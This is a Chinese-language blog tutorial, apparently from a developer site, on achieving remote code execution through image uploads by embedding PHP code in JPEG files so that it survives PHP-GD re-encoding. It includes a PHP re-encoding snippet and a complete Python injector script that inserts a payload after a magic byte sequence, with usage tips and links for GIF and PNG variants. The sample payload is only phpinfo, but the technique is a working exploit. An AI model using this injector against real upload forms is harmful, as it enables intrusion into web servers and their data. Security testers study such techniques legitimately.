远程图像上传导致RCE(将恶意代码注入PHP-GD图像)

jpg图片

前期准备

php-gd安装

https://www.php.net/manual/zh/book.image.php
https://www.dmxzone.com/go/5001/how-do-i-install-gd-in-windows/

素材

自己手机照相机拍照就是jpg图片.

php-gd重建

您需要先使用php-gd重新创建.jpg图像,然后再使用gd-jpeg.py注入有效负载

<?php
$jpg = imagecreatefromjpeg('image.jpg');
imagejpeg($jpg, 'poc.jpg',-1);
imagedestroy($jpg);
?>

然后将有效载荷注入poc.jpg

python脚本

#!/usr/bin/python
import sys
import binascii

magic_number = "03010002110311003f00"

def main():
    
    jpeg = 'poc.jpg'
    payload = '<?phpinfo()?>'.encode('ascii')#payload
    output = 'payload_poc.jpg'

    loc = get_loc(jpeg)
    inject_payload(jpeg, loc, payload, output)


def get_loc(jpeg):
    print("Searching for magic number...")
    f = open(jpeg, 'rb')
    contents = f.read()
    loc = contents.find(binascii.unhexlify(magic_number))
    f.close()

    if loc:
        print("Found magic number.")
        return loc
    else:
        print("Magic number not found. Exiting.")
        sys.exit()


def inject_payload(jpeg, loc, payload, output):

    f = open(jpeg, 'rb')
    fo = open(output, 'wb')

    print("Injecting payload...")
    contents = f.read()
    pre_payload = contents[:loc + len(binascii.unhexlify(magic_number))]
    post_payload = contents[loc + len(binascii.unhexlify(magic_number)):]
    fo.write(pre_payload + payload + post_payload + '\n'.encode('ascii'))
    print("Payload written.")
    f.close()
    fo.close()

if __name__ == "__main__":
    main()

php脚本

你也可以使用https://xz.aliyun.com/t/2657#toc-7中的脚本。

完成

为了确保注入的有效负载正常运行,请尝试使用php-gd重新创建。
在这里插入图片描述

仅当imagejpeg函数的$quality参数以默认质量(默认-1)重新创建图像时,此方法才有效。如果参数为其他组这无效。

需要注意的是有的图片容易报错,就不能用,试试其他图片,也可以用php-gd重新创建几回,自己试试,不是每个jpg图片都可以用是最麻烦的。

gif图片

参考https://xz.aliyun.com/t/2657#toc-2

png图片

https://xz.aliyun.com/t/2657#toc-3

图片素材

参考1
参考2

参考

https://medium.com/@asdqwedev/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值